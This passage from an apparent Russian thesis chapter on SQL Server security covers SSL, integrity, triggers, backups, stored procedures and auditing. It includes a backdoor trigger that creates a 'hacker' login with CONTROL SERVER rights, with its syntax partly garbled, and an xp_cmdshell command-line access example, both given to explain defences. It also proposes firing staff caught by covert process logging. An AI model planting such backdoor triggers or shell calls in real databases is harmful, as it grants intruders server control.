·              подтверждение подлинности источника данных. Проверяется, что все поступающие на сервер данные получены от определенного клиента;

·              подтверждение подлинности источника и целостности данных. Проверяется, что отправленные данные не были изменены;

·              подтверждение подлинности источника, целостности и конфиденциальности данных. Выполняются проверки и осуществляется шифрование всех пересылаемых данных.

Протокол SSL (Secure Socket Layer) был разработан как протокол, обеспечивающий защиту данных между сервисными протоколами (такими как HTTP, FTP) и транспортными протоколами (TCP/IP). Протокол SSL предназначен для решения традиционных задач обеспечения защиты информационного взаимодействия, которые в среде клиент-сервер интерпретируются следующим образом[24, c.159]:

·    пользователь и сервер должны быть взаимно уверены, что они обмениваются информацией не с подставными абонентами, а именно с теми, которые нужны, не ограничиваясь паролевой защитой;

·              после установления соединения между сервером и клиентом весь информационный поток между ними должен быть защищен от несанкционированного доступа;

·              и, наконец, при обмене информацией стороны должны быть уверены в отсутствии случайных или умышленных искажений при ее передаче.

Конфиденциальность информации, передаваемой по установленному защищенному соединению, обеспечивается путем шифрования потока данных на сформированном общем ключе с использованием симметричных криптографических алгоритмов (например, RC4_128, RC4_40, RC2_128, RC2_40, DES40). Контроль целостности передаваемых блоков данных производится за счет использования так называемых кодов аутентификации сообщений (MAC), вычисляемых с помощью хэш-функций (например, MD5)[24, c.160].

Протокол SSL включает два этапа взаимодействия сторон защищаемого соединения:

·    установление SSL-сессии;

·              защита потока данных.

На этапе установления SSL-сессии осуществляется аутентификация сервера и (опционально) клиента, стороны договариваются об используемых криптографических алгоритмах и формируют общий "секрет", на основе которого создаются общие сеансовые ключи для последующей защиты соединения. Этот этап называют также "процедурой рукопожатия". На втором этапе информационные сообщения прикладного уровня нарезаются на блоки, для каждого блока вычисляется код аутентификации сообщений, затем данные шифруются и отправляются приемной стороне. Приемная сторона производит обратные действия: расшифрование, проверку кода аутентификации сообщения, сборку сообщений, передачу на прикладной уровень.

В SSL используется криптография с открытым (публичным) ключом, также известная как асимметричная криптография. Она использует два ключа: один - для шифрования, другой - для расшифровывания сообщения. Два ключа математически связаны таким образом, что данные, зашифрованные с использованием одного ключа, могут быть расшифрованы только с использованием другого, парного первому. Каждый пользователь имеет два ключа открытый и секретный. Пользователь делает доступным открытый ключ любому корреспонденту сети. Пользователь и любой корреспондент, имеющий открытый ключ, могут быть уверены, что данные, зашифрованные с помощью открытого ключа, могут быть расшифрованы только с использованием секретного ключа. Если два пользователя хотят быть уверенными, что информацию, которой они обмениваются, не получит третий, то каждый из них, должен передать открытый ключ другому и хранить секретный ключ. Сообщения шифруются с помощью открытого, расшифровываются только с использованием секретного ключа. Именно так сообщения могут быть переданы по открытой сети без опасения, что кто-либо сможет прочитать их [24, c.161].

В SSL же для защиты передаваемых между клиентом и сервером данных обязательно используются сертификаты, которые бывают двух типов:

·     автоматически генерируемый и подписываемый SQL Server 2005 (самоподписанный). В этом случае возможны атаки типа «man-in-the-middle», когда злоумышленник представляется сервером SQL, принимает клиентские пакеты от имени сервера и перенаправляет их на сервер, возвращая затем полученные с сервера данные пользователям. В результате такой операции у злоумышленника будет на руках копия всех данных, которыми обменивались клиенты и сервер. Причина подобной атаки - сертификат, передаваемый сервером клиенту, никем не проверяется.

·     от внешнего центра сертификации, которому должны доверять сервер SQL и клиент. Использование такого сертификата будет решением вышеуказанной проблемы. Вариантов реализации два: купить сертификат у центра сертификации, которым Windows доверяет автоматически за немалые деньги, либо создать свой собственный центр сертификации, что можно сделать, используя поставляемые вместе с дистрибутивами Windows 2000 Server и Windows Server 2003, но настройку необходимо выполнять очень тщательно, в противном случае ничего работать не будет.

Рекомендуется также использовать средства активной защиты, регулярно выявляя работающие снифферы в сети специальными программами (например, ProDetect и PromiScan).

В качестве оптимального средства для защиты как сетевых ресурсов, так и обнаружения злонамеренных действий пользователей сети можно сделать так. Написать небольшой скрипт-фал, который будет собирать информацию о программах, запущенных у пользователей на компьютерах. При входе в домен этот скрипт будет отрабатывать, записывать информацию в файл и при обнаружении у пользователей программ злонамеренного характера (тех же снифферов), эта информация будет предоставлена начальству.

Достаточно двух-трех показательных увольнений и это даст положительный эффект.

.4 Обеспечение целостности данных

Целостность (от англ. integrity - нетронутость, неприкосновенность, сохранность, целостность) понимается как правильность, актуальность и непротиворечивость данных в любой момент времени[7,c.5]. Поддержание целостности базы данных может рассматриваться как защита данных от неверных изменений или разрушений. Выделяют три группы правил целостности:

·     целостность по сущностям.

·              целостность по ссылкам.

·              целостность, определяемая пользователем.

Общая мотивировка первых двух правил целостности общих для любых реляционных баз данных, состоит в следующем:

1. не допускается, чтобы какой-либо атрибут, участвующий в первичном ключе, принимал неопределенное значение.

2. для каждого внешнего ключа в проекте проектировщик базы данных должен специфицировать не только атрибут или комбинацию атрибутов, составляющих этот внешний ключ, и целевое отношение, которое идентифицируется этим ключом.

Обеспечение целостности данных не менее важно, чем обеспечение конфиденциальности. Конечно, неприятно, когда кто-то подглядывает за суммами на счетах клиентов, но гораздо хуже, когда в процессе перевода денег со счета на счет часть суммы исчезает в неизвестном направлении. Известно, что главными врагами баз данных являются не внешние злоумышленники, а ошибки оборудования, администраторов, прикладных программ и пользователей. С точки зрения пользователя СУБД, основными средствами поддержания целостности данных являются ограничения, правила и триггеры.

.4.1 Структурная, языковая, ссылочная и семантическая целостности

Структурная целостность подразумевает под собой то, что реляционная СУБД должна допускать работу только с однородными структурами данных ER-модели. При этом понятие «реляционного отношения» должно удовлетворять всем ограничениям, накладываемым на него в классической теории реляционной БД (отсутствие дубликатов записей, обязательное наличие первичного ключа).

Языковая целостность подразумевает под собой то, что реляционная СУБД должна обеспечивать языки описания и манипулирования данными не ниже стандарта SQL. He должны быть доступны иные низкоуровневые средства манипулирования данными, не соответствующие стандарту. Именно поэтому доступ к информации, хранимой в базе данных, и любые изменения этой информации могут быть выполнены только с использованием операторов язык SQL[39,c.147].

Существуют определенные связи между столбцами некоторых таблиц, которые установлены с помощью внешних и родительских ключей. Как раз ссылочная целостность подразумевает под собой связывание столбцов или их групп. SQl Server поддерживает ссылочную целостность с помощью ограничения FOREIGN KEY. FOREIGN KEY сужает диапазон значений, которые разрешается вводить в базу данных, чтобы внешний и его родительский ключи удовлетворяли принципам ссылочной целостности.

Допустимая форма представления и обработки информации в реляционных базах данных, а так же ограничения, которые связаны с содержанием базы данных (от того, что написано в семантической целостности будет зависеть, что может быть выполнено). Семантическая поддержка может быть обеспечена двумя путями: декларативным и процедурным путем. Декларативный путь обеспечивает проверку и выполнение ряда декларативно заданных правил-ограничений, называемых чаще всего «бизнес-правилами» (Rules) или декларативными ограничениями целостности. Виды декларативных ограничений целостности:

·    ограничения целостности атрибута: задание значения по умолчанию

·              ограничения целостности, задаваемые на уровне доменов, при поддержке доменной структуры: для атрибутов задается не примитивный первичный тип данных, а их принадлежность тому или другому домену.

·              ограничения целостности, задаваемые на уровне отношения: ведение нескольких полей с одинаковыми атрибутами, но обязательно хоть одно поле должно быть заполнено.

·              ограничения целостности, задаваемые на уровне связи между отношениями: удаление родительской записи без удаления дочерней[39,c.148].

.4.2 Механизмы обеспечения целостности

Для предотвращения непреднамеренных ошибок пользователей проведем максимально возможный контроль вводимой информации. Контроль вводимой информации обеспечивается за счет использования контроля вводимых данных, параметризированных запросов, триггеров и хранимых процедур.

При определении способа обеспечения целостности данных встает вопрос о выборе того или иного средства. MS SQl Server предлагает использовать так называемые ограничения (от англ. слова Constraint), триггеры и хранимые процедуры.

И у первого и у второго способа есть и преимущества и недостатки. В пользу ограничений говорит быстрота и простота, но при этом не сделать сложную манипуляцию с данными, при использовании триггеров же возможно осуществить какие-то более сложные операции, но работать это будет гораздо медленнее.

угроза клиент серверный аутентификация

3.4.2.1 Ограничения

Применение ограничений влияет на возможность осуществления тех или иных операций. Для добавления или модификации данных в столбцах, являющихся внешними ключами, эти данные должны присутствовать в соответствующих родительских ключах. Если же столбец используется как родительский ключ, который ссылается на внешний, то его нельзя удалить или изменить.

Ограничения - это элементы определения таблицы, ограничивающие значения, которые можно вводить в ее столбцы[14,c.29] Пример создания ограничения описан в приложении Г.

В этом примере приведены ограничения на ввод ненулевых значений, длину строки, значения, вносимые по умолчанию, первичные ключи, используемые для получения уникальных комбинаций значений и предопределение допустимых входных.

Ссылочные ограничения отвечают за целостность связей между таблицами. Подобное ограничение требует, чтобы каждому значению в столбце или группе столбцов одной таблицы соответствовало ровно одно значение в другой таблице. Название ограничения объясняется тем, что такие значения играют роль ссылок между таблицами в реляционной модели.

.4.2.2 Правила

Правила позволяют вызывать выполнение заданных действий при определенных изменениях базы данных. Обычно действие - это вызов процедуры. Правила ассоциируются с таблицами и срабатывают при изменении этих таблиц. В отличие от ограничений, которые являются лишь средством контроля относительно простых условий, правила позволяют проверять и поддерживать сколь угодно сложные соотношения между элементами данных в базе. Как и в случае ограничений, проверка правил отключается при массовых операциях копирования.

СУБД обеспечивает автоматическое удаление правил в тех случаях, когда удаляется соответствующая таблица. Тем самым поддерживается целостность системы таблиц и правил.

В контексте информационной безопасности важно отметить, что создать правило, ассоциируемое с таблицей, может владелец этой таблицы, имеющий право на выполнение соответствующей процедуры. Пользователь, действия которого вызывают срабатывание правила, должен обладать лишь необходимыми правами доступа к таблице. Тем самым правила неявно расширяют привилегии пользователей. Подобные расширения нуждаются в строгом административном контроле, поскольку даже незначительное изменение правила или ассоциированной процедуры может кардинально повлиять на защищенность данных. Ошибка же в сложной системе правил вообще чревата непредсказуемыми последствиями.

.4.2.3 Триггеры

Триггеры - особый вид хранимых процедур, которые автоматически запускаются при наступлении события изменения таблицы, то есть срабатывают на инструкции INSERT, UPDATE, DELETE. Они являются наиболее эффективным инструментом сохранения целостности баз данных, так как позволяют подробно проанализировать события, происходящее в системе. Использование триггеров- это наиболее мощный механизм поддержания целостности реляционной базы данных в SQL Server.

Триггеры, привязываются к конкретным таблицам, вызываются автоматически, вручную их не вызвать, становятся частью транзакции, на которую они реагируют. Триггеры нужны для [10]:

·    ограничения действий, выполняемых с данными

·              какого-то автоматического действия или замены действия

·              где ограничений типа CHECK(constraints) не достаточно

·              необходима поддержка более сложного условия сохранения целостности данных

·              вывод сообщений об ошибках

Все триггеры можно разделить на два класса:

·    триггеры DML - перехват команд INSERT, UPDATE, DELETE

·              триггеры DDL - перехват команд DDL

Триггеры DML в свою очередь делятся на триггеры типа “after”, выполняющиеся после выполнения команд, и “instead of”, выполняющиеся вместо соответствующих команд.

Триггер, отслеживающий операции добавления приведен в приложении Д.

Таким образом, так как в процессе работы часто приходится производить проверки перед изменением, удалением или вставкой данных в таблицу или несколько таблиц, то используем триггеры, которые также позволяют организовать алгоритм поддержки целостности данных.

Но при использовании триггеров могут возникнуть и небезопасные ситуации. Например, имея права на создание триггеров, можно создать нижеследующий триггер в базе данных, после чего попросить администратора БД создать нового пользователя, например, под предлогом не хватки существующих.

CREATE TRIGGER [ddlmegahack] ON DATABASE FOR create_userBEGINlogin [hacker] with password = '123qwe'('use master ' + ' Grant CONTROL SERVER to hacker')

И тогда в базе появится новый пользователь «hacker» с правами Control Server, который сможет в любой момент обратиться к базе данных. В этом случае выходом будет аудит пользователей базы данных.

.4.2.4 Проверка целостности базы данных

Периодически при работе с базой данных возникает необходимость убедиться в ее работоспособности. Первое, что нужно сделать в этой ситуации - обратиться к журналам событий SQL Server и операционной системы. Если в журналах не обнаружено никаких подозрительных действий, то имеет смысл провести проверку целостности базы данных, для чего предусмотрен набор команд DataBase Console Commands: проверка логической и структурной целостности - DBCC CHECKDB и CHECKALLOC, проверка структуры системных таблиц - DBCC CHECKCATALOG.

.5 Поддержание доступности

Информационная система предоставляет своим пользователям определенный набор услуг (сервисов). Говорят, что обеспечен нужный уровень доступности этих сервисов, если следующие показатели находятся в заданных пределах:

·     эффективность услуг, которая определяется в терминах максимального времени обслуживания запроса, количества поддерживаемых пользователей, эффективность не должна опускаться ниже заранее установленного порога;

·     время недоступности, если эффективность информационной услуги не удовлетворяет наложенным ограничениям, услуга считается недоступной, максимальная продолжительность периода недоступности и суммарное время недоступности за некоторой период не превышали заранее заданных пределов.

То есть, доступность - это возможность за приемлемое время получить требуемую информационную услугу.

В сущности, требуется, чтобы информационная система почти всегда работала с нужной эффективностью. Для некоторых критически важных систем (например, систем управления) время недоступности должно быть нулевым. В таком случае говорят о вероятности возникновения ситуации недоступности и требуют, чтобы эта вероятность не превышала заданной величины[7,c.24]. Это является одной из основных задач защиты.

.5.1 Обеспечение отказоустойчивости

Отказоустойчивость - это способность системы работать в нормальном режиме и после сбоя. Средством обеспечения отказоустойчивости является резервное копирование и восстановление (рисунок 3.3). Резервирование повышает уровень надежности, который ожидается от созданной системы. Никакие RAID-массивы и кластеры не уберегут от ошибки пользователя, если тот удалил важные данные или присланное разработчикам обновление привело базу в неработоспособное состояние. Резервное копирование производится для того, чтобы в случае сбоя можно было провести восстановление. Поэтому вопрос о резервном копировании на предприятии не стоит, стоит вопрос о том, как лучше всего это сделать.

Для решения данной задачи применяются подходы так называемого горячего резервирования данных, когда база данных постоянно находится в виде двух идентичных (зеркальных) и параллельно функционирующих копий, размещаемых на двух раздельных системах дисковой памяти. Другими способами обеспечения сохранности данных являются операции архивирования и резервирования данных. В большинстве случаев архивирование производится обычными средствами архивации файлов для их компактного долговременного хранения, как правило, на внешних съемных носителях. Функции архивирования данных иногда могут входить и в перечень внутренних функций самих СУБД. Резервирование данных, как правило, не предусматривает специального сжатия данных, а производится через создание специальных копий файлов данных в технологических или иных целях[24, c.179].

Рисунок 3.3 - Процесс резервного копирования и восстановления данных

И архивирование, и резервирование, помимо технологических целей, преследуют также профилактические цели по еще одной чрезвычайно важной операции - восстановлению данных после сбоев и повреждений. Наличие резервной или архивной копии базы данных позволяет восстановить работоспособность системы при выходе из строя основного файла (файлов) данных. При этом, однако, часть данных, или их изменений, произведенные за время, прошедшее с момента последнего архивирования или резервирования, могут быть потеряны. Такие ситуации особенно критичны при коллективной обработке общих данных, реализуемых клиент-серверными системами. Поэтому в промышленных СУБД, реализующих технологии «клиент-сервер», в большинстве случаев предусматривается ведение специального журнала текущих изменений базы данных, размещаемого отдельно от основных данных и, как правило, на отдельном носителе. Такой подход называется журнализацией. В журнале изменений осуществляются непрерывная фиксация и протоколирование всех манипуляций пользователей с базой данных. В результате при любом сбое с помощью архивной копии и журнала изменений администратор системы может полностью восстановить данные до момента сбоя.

Существует множество факторов, которые нужно учитывать при принятии решения о конкретном способе реализации - это и размер базы данных, и скорость восстановления, и бюджет, который можно на это потратить[24, c.180].

Самый первый вопрос - куда размещать резервные копии. Существует три варианта:

1. самый с технической точки зрения лучший, но при этом и самый дорогой- использование ленточных библиотек. Лучший, потому что обеспечивается высокая скорость и надежность, обычно вместе с ними поставляется и программный продукт для резервного копирования, но стоимость такого устройства велика - десятки тысяч долларов.

2.      использование стримера, подключенного локально к компьютеру, на котором работает SQl Server. При создании резервной копии SQL Server позволяет использовать несколько устройств резервного копирования одновременно, при этом резервная копия распределяется среди нескольких носителей, которые должны быть одного типа. Распараллеливание процесса копирования позволяет увеличить скорость копирования и тем самым уменьшить время на создание резервных копий.

.        проведение резервного копирования на жесткий д3иск или RAID-массив, подключенного локально или по сети на другой компьютер. Главный плюс-скорость работы, можно поместить больший объем информации.

.        использование магнитооптики (MS SQL Server не поддерживает)

Первый вариант не подходит, так это будет слишком затратным для предприятия. Второй вариант более подходящий, в его пользу говорит дешевизна, простота и надежность, но это устройство последовательного доступа (нужно перематывать) и скорость восстановления в случае необходимость значительно ниже, чем с жесткого диска. Да и хранение на стриммерной ленте влечет за собой увеличение числа носителей, складирование их в определенных местах, где нет доступа ни для кого кроме администратора баз данных, захламление. Кроме того, на жесткий диск можно поместить больше информации, да и цена у него вполне доступная, поэтому выбор будет за помещением резервной копии на жесткий диск компьютера, находящегося в другом здании на удаленном расстоянии. Резервная копия передается по сети.

Резервное копирование можно проводить, используя:

1.      стандартные средства MS SQL Server позволяют проводить резервное копирование с применением пароля

BACKUP DATABASE PVMdisk='\\o44-08171\backup\PVM' PASSWORD = @password

Если при восстановлении базы данных был введен неправильный пароль, то выведется сообщение об ошибке и база не будет восстановлена.

RESTORE DATABASE PVMdisk='\\o44-08171\backup\PVM' PASSWORD = 'пароль'

Использование пароля для резервной копии не является сильной защитой. Более надежным механизмом защиты от вскрытия с помощью ПО третьих фирм, будет EFS для их шифрации.

2.   коммерческие программные продукты (Veritas NetBackup, ArcServer, Legato).

Проблема резервного копирования в том, что надо защищать резервные копии:

1.   вопрос службы безопасности - ограничение доступа на сервер, доступ дается только администратору и только через консоль или терминал сервер.

2.      шифрование резервной копии, но тогда пароль (ключ, сертификат EFS) надо тоже где-то хранить либо создание резервной копии с паролем

.        создавать историю копий

Применение паролей может помочь защитить содержимое носителя от несанкционированного использования, использующего инструментальные средства SQL Server, но пароль не защитит от уничтожения, к тому же постоянно появляются все более «умные» программы-шпионы, созданные специально с целью подбора пароля. Прежде всего, необходимо ограничить доступ к носителю резервной копии.

Страховое копирование всей информации [41, c.56] в архив на предназначенные для этого соответствующие технические устройства резервирования и хранения данных. Администратор домена выполняет настройку и сопровождение работы задачи «Страховое копирование» для всех сетевых ЭВМ домена, отвечает за сохранность архива и обеспечение конфиденциальности доступа к архиву.

.5.2 Принципы восстановления после мягкого и жесткого сбоя

Состояние внешней памяти базы данных называется физически согласованным, если наборы страниц всех объектов согласованы, т.е. соответствуют состоянию объекта либо после его изменения, либо до изменения.

К числу основных проблем восстановление после мягкого сбоя относится то, что одна логическая операция изменения базы данных может изменять несколько физических блоков базы данных, например, страницу данных и несколько страниц индексов. Страницы базы данных буферизуются в оперативной памяти и выталкиваются независимо. После мягкого сбоя набор страниц внешней памяти базы данных может оказаться несогласованным, т.е. часть страниц внешней памяти соответствует объекту до изменения, часть - после изменения. К такому состоянию объекта не применимы операции логического уровня. В качестве решения данной проблемы применяют журналы изменения базы данных[39, c.157].

Понятно, что для восстановления последнего согласованного состояния базы данных после жесткого сбоя журнала изменений базы данных явно недостаточно. Основой восстановления в этом случае являются журнал и архивная копия базы данных. Восстановление начинается с обратного копирования базы данных из архивной копии. Затем для всех закончившихся транзакций выполняется redo, т.е. операции повторно выполняются в прямом смысле. Более точно, происходит следующее:

• по журналу в прямом направлении выполняются все операции;

• для транзакций, которые не закончились к моменту сбоя, выполняется откат.

На самом деле, поскольку жесткий сбой не сопровождается утратой буферов оперативной памяти, можно восстановить базу данных до такого уровня, чтобы можно было продолжить даже выполнение незаконченных транзакций. Но обычно это не делается, потому что восстановление после жесткого сбоя - это достаточно длительный процесс. Хотя к ведению журнала предъявляются особые требования по части надежности, в принципе возможна и его утрата. Тогда единственным способом восстановления базы данных является возврат к архивной копии. Конечно, в этом случае не удастся получить последнее согласованное состояние базы данных, но это лучше, чем ничего[39,c.158].

Самый простой создать архивную копию - архивировать базу данных при переполнении журнала. В журнале вводится так называемая "желтая зона", при достижении которой образование новых транзакций временно блокируется. Когда все транзакции закончатся, и, следовательно, база данных придет в согласованное состояние, можно производить ее архивацию, после чего начинать заполнять журнал заново. Можно выполнять архивацию базы данных реже, чем переполняется журнал. При переполнении журнала и окончании всех начатых транзакций можно архивировать сам журнал. Поскольку такой архивированный журнал, по сути дела, требуется только для воссоздания архивной копии базы данных, журнальная информация при архивации может быть существенно сжата.

.6 Пользователи базы данных

Пользователи базы данных - это категория пользователей в интересах которых и создается база данных. Это могут быть случайные пользователи обращающиеся к базе данных время от времени, за получение некоторой информации, а могут быть регулярные пользователи. Пользователей можно разделить на три группы[18, c.16]:

1.      прикладные программисты - отвечают за создание программ, использующих базу данных; в смысле защиты данных программист может быть как пользователем, имеющим привилегии создания объектов данных и манипулирования ими, так и пользователем, имеющим привилегии только по модификации данными;

2.      конечные пользователи базы данных - работают с базой данных непосредственно через приложение; имеют строго ограниченный набор привилегий манипулирования данными. Этот набор может определяться при создании интерфейса конечного пользователя и не изменяться. Политику безопасности в данном случае определяет администратор безопасности или администратор базы данных (если это одно и то же должностное лицо);

.        администраторы баз данных - образуют особую категорию пользователей СУБД; они создают сами базы данных, осуществляют технический контроль функционирования БД, обеспечивают необходимое быстродействие системы. В обязанности администратора, кроме того, входит обеспечение пользователям доступа к необходимым им данным, а также написание (или оказание помощи в определении) необходимых пользователю внешних представлений данных. Администратор определяет правила безопасности и целостности данных.

В SQL Server есть список встроенных ролей и пользователей, поэтому необходимо уделять внимание и им.

Первое, существует логин системного администратора SA , по умолчанию у него пустой пароль, он не может быть удален и не может потерять права sysadmin для всех баз данных, поэтому следует:

1. Никогда не запускайте под SA выполнение DTS пакета в задании по расписанию.

2.      Регулярно меняйте пароль.

.        Храните пароль в секрете.

.        В аварийном плане чётко опишите, где можно получить этот пароль.

Второе, так как никто кроме DBA иметь права уровня sysadmins в SQL Server не должен, то следует удалить логин BUILTIN\Administrator.

Паролями пользователей необходимо управлять. Логин SA всегда должен иметь пароль, особенно если для получения привилегий sysadmin не возможно использовать Windows Authentication. Однако, проблема пустого пароля относится не только к SA. DBA должен очень строго следить за паролями пользователей в смешанном режиме безопасности, контролировать их сложность и длину. Если есть возможность влиять на логику прикладных программ, работающих с сервером баз данных, можно организовать проверку минимальных требований к паролю на клиенте. Хорошим решением является использование Active Directory и Windows-аутентификации в связке с COM+.

.7 Использование хранимых процедур как средства повышения безопасности

При создании интегрированного с SQL приложения, встает вопрос о программном взаимодействии с базой данных. Есть две возможности:

·       формировать команды SQl на стороне клиента, а после этого посылать их на сервер для исполнения

·              перенести часть кода на сторону сервера

Понятно, что использование последнего подхода предпочтительнее, так как это позволит отделить интерфейс пользователя от интерфейса данных, чем уменьшится вероятность ошибок и разгрузится сеть от передачи промежуточной информации

Хранимые процедуры - это некоторый набор хранимых инструкций для того, чтобы каждый раз не вводить, а вызывать какие-то действия, то есть они являются средством автоматизации часто выполняемых процессов. Хранимые процедуры являются неотъемлемой частью работы с реляционной БД. Хранимые процедуры чаще всего используются в качестве программных модулей на стороне сервера.

Преимущества использования хранимых процедур:

·  упрощают внешний вид инструкций и действия, производимые с ними

·              скрывает детали о базе данных (например, связи между таблицами, названия таблиц)

·              ограничение доступа, можно ограничить доступ к базе данных, давая пользователям доступ только через хранимые процедуры и только на их исполнение, не давая прав на доступ к самим таблицам; пользователь имеет доступ к данным, но только в пределах хранимой процедуры, иначе доступа у пользователя нет;

·              целостность данных, создают гарантии правильного ввода и сохранности информации; так как происходит автоматизация сложных транзакций, уменьшается возможность возникновения ошибок по вине пользователя;

·              эффективность, хранимая процедура компилируется всего один раз - при выполнении впервые, последующие выполнения проходят быстрее, поскольку этап компиляции пропускается, что в свою очередь уменьшает нагрузку на сет и снижает трафик, так как код хранимой процедуры загружается только один раз.

Использование хранимых процедур позволяет снизить сетевой трафик, стоимость сопровождения системы и дает возможность избавиться от необходимости постоянно изменять клиентские приложения. Если понадобится изменить логику обработки данных, то достаточно будет изменить только хранимую процедуру.

Кроме того, использование хранимых процедур также позволяет значительно повысить безопасность данных. Приложение или пользователь получает лишь специальное право на выполнение хранимой процедуры, которая и будет обращаться к данным. Все эти плюсы хранимых процедур позволяют обеспечить логическую целостность данных.

Возможность применения хранимых процедур и представлений для абстрагирования пользователя от находящихся в таблицах данных определяется следующими факторами[2, c.21]:

·     Дополнительная утилизация ресурсов.

·              Набор необходимых требований по поддержке безопасности для такого доступа.

·              Архитектура приложения.

·              Уровень приемлемой сложности.

·              Навыки использования.

·              Простота поддержки.

Безопасность CRUD (Create Read Update Delete) (рисунок 3.4) операций может осуществляться непосредственно представлениями, хранимыми процедурами, ролями и таблицами привилегий, instead-of триггерами другими объектного средствами разграничения доступа на уровне объектов и столбцов. Кроме того, доступ через хранимые процедуры позволяет воспользоваться преимуществами кэширования планов выполнения процедур[30, c.203].

Рисунок 3.4 - CRUD операции

Особое внимание заслуживают расширенные(extended) хранимые процедуры. Расширенные, в отличие от остальных ранимых процедур, всегда выполняются в контексте безопасности учетной записи операционной системы, под которой запущена служба MSSQLSERVER. Это означает, что любая ошибка в коде расширенной хранимой процедуры может обернуться аварийным завершением работы сервера или исполнением произвольного кода. Самые распространенные ошибки при написании расширенных хранимых процедур:

1.   переполнение (буфера, кучи)

2.      утечка памяти

.        ошибки форматирования (format string errors)

Ошибки первого типа могут привести к исполнению кода злоумышленника. Ошибки второго типа чреваты аварийным остановом сервера и отказом в обслуживании. Ошибки форматирования могут привести к чтению информации, которая не должна быть доступна. Причем во всех трех случаях возможна потеря информации.

Если злоумышленник будет использовать Extended Stored Procedure, он легко сможет получить доступ и к командной строке. Например, имея права на исполнение, он может запустить процедуру доступа к командной строке:

EXEC XP_CMDSHELL ‘at 12:06 /interactivecmd’ - доступ к командной строке

А дальше, все зависит от цели злоумышленника: он может и в реестре исправить какие-то параметры, и запустить вредоносную программу и т.д.

Если нет необходимости использовать эту расширенную процедуру, её. Стоит заблокировать Иначе, для запуска этой процедуры пользователем, не являющимся системным администратором, нужно обеспечить контекст безопасности с минимально необходимым набором прав для исполнения команд на сервере. Для этого будет задействован контекст безопасности SQL Server Agent proxy account, которому можно сопоставить учётную запись с ограниченными правами. Изменения можно внести с помощью xp_sqlagent_proxy_account.

В качестве рекомендаций по защите можно сделать такие выводы:

·   не давать прав пользователям вносить изменения в код процедуры

·              использовать инструкцию WITH ENCRYPTION при создании хранимой процедуры, которая скроет код процедуры, но выполнять заложенные в ней действия будет

·              не использовать и не давать прав на использование Extended Stored Procedure.

·              после написания код Extended Stored Procedure тщательно перепроверить.

Но с инструкцией WITH ENCRYPTION есть свои проблемы. Не стоит полагаться на то, что зашифрованные хранимые процедуры не будут кем-то прочитаны. Для того, что бы максимально осложнить возможность подсматривания текстов процедур, можно установить Deny на SELECT в syscomments для public и на команды по созданию и удалению процедур. Подробный список хранимых процедур, которые рекомендуется заблокировать приведен в приложении Е.

.8 Курсоры как механизм обеспечения безопасности

Механизм обеспечения безопасности в большинстве систем управления реляционными базами данных связан с использованием курсоров в сочетании с командами GRANT и REVOKE. Разрешение на доступ к подмножеству данных в курсоре должно быть предоставлено или аннулировано явным образом, независимо от действующей совокупности полномочий, относящихся к таблице (или таблицам), на которой основан данный курсор.

С помощью курсора пользователи могут запрашивать и модифицировать только те данные, которые они могут видеть. Остальная часть базы данных является для них невидимой и недоступной.

REVOKE ALL ON devices TO User1SELECT ON devices TO User1SELECT ON devices TO User1, User2, User3

Определяя различные курсоры и выборочно предоставляя права на них, можно ограничить доступ пользователя (группу пользователей) к различным подмножествам данных:

·    доступ может быть ограничен некоторым подмножеством строк таблицы базы;

·              доступ может быть ограничен некоторым подмножеством столбцов таблицы базы;

·              доступ может быть ограничен некоторым подмножеством строк и столбцов таблицы базы;

·              доступ может быть ограничен строками, которые удовлетворяют условию объединения нескольких таблиц базы;

·              доступ может быть ограничен статистическими итоговыми данными;

·              доступ может быть ограничен некоторым подмножеством другого курсора или определенного сочетания курсоров и таблиц базы.

Создание курсоров и реализация с их помощью (а также с помощью таблиц базы) системы доступа нередко является частью процесса определения данных. Однако ничто не мешает в любой момент изменить эту схему санкционирования, определив новые курсоры и написав новые операторы GRANT и REVOKE[39, c.161].

.9 Аудит и мониторинг базы данных

Аудит - это анализ накопленной информации, проводимый оперативно, почти в реальном времени, или периодически. Аудит используется для протоколирования событий, происходящих в СУБД за время ее работы.

В СУБД такой подход хорошо вписывается в событийно-процедурную технологию с использованием техники журнализации. При этом доступ к журналу событий имеет только администратор безопасности, который при обнаружении фактов или признаков нарушений безопасности имеет возможность восстановления хода событий, анализа и устранения источников и причин нарушения безопасности системы. В этом отношении журнал событий безопасности является необходимым средством аудита безопасности.

Аудит безопасности заключается в контроле и отслеживании событий в системе с целью выявления, своевременного обнаружения проблем или нарушений безопасности и сигнализации об этом администратору безопасности. Разработка аналитических автоматизированных процедур обнаружения фактов и признаков нарушений информационной безопасности является чрезвычайно сложной и неопределенной задачей. Набор технологических задач, подходов, средств и инструментов, обеспечивающих практическую реализацию принципов, моделей и политик безопасности чрезвычайно широк, что объективно требует некоторой единой шкалы требований, методик разработки и оценки защищенных систем по вопросам безопасности.

Реализация аудита преследует следующие главные цели:

·        обеспечение подотчетности пользователей и администраторов;

·              обеспечение возможности реконструкции последовательности событий;

·              обнаружение попыток нарушений информационной безопасности;

·              предоставление информации для выявления и анализа проблем.

Обеспечение подотчетности важно в первую очередь как средство сдерживания. Если пользователи и администраторы знают, что все их действия фиксируются, они, возможно, воздержатся от незаконных операций. Если есть основания подозревать какого-либо пользователя в нечестности, можно регистрировать его действия особенно детально, вплоть до каждого нажатия клавиши.

При этом обеспечивается не только возможность расследования случаев нарушения режима безопасности, но и откат некорректных изменений.

Тем самым обеспечивается целостность информации.

Восстановление последовательности событий позволяет выявить слабости в защите сервисов, найти виновника вторжения, оценить масштабы причиненного ущерба и вернуться к нормальной работе.

Выявление и анализ проблем позволяют помочь улучшить такой параметр безопасности, как доступность.

Обнаружив узкие места, можно попытаться переконфигурировать или перенастроить систему, снова измерить производительность и т.д.

Т.о., это необходимый шаг для регистрации изменений в базе данных, а также в процессе разработки, сопровождения, администрирования, документирования и распространения программных продуктов или систем, использующих эту базу данных. Решаемые задачи:

1)      восстановление реальной картины событий в базе данных в случае искажения (не важно, намеренного или нет), утери или, при не правомерном использовании ресурсов, порчи информации.

2)      ведение истории изменения данных, когда большое значение имеет информация о том, какие именно данные изменялись, их старые и новые значение, создание архива данных. Используется, когда нужна полная история изменения данных. История хранится достаточно долго, возможно, на протяжении всей жизни данных. В некоторых случаях история хранится и после того, как данные были удалены.

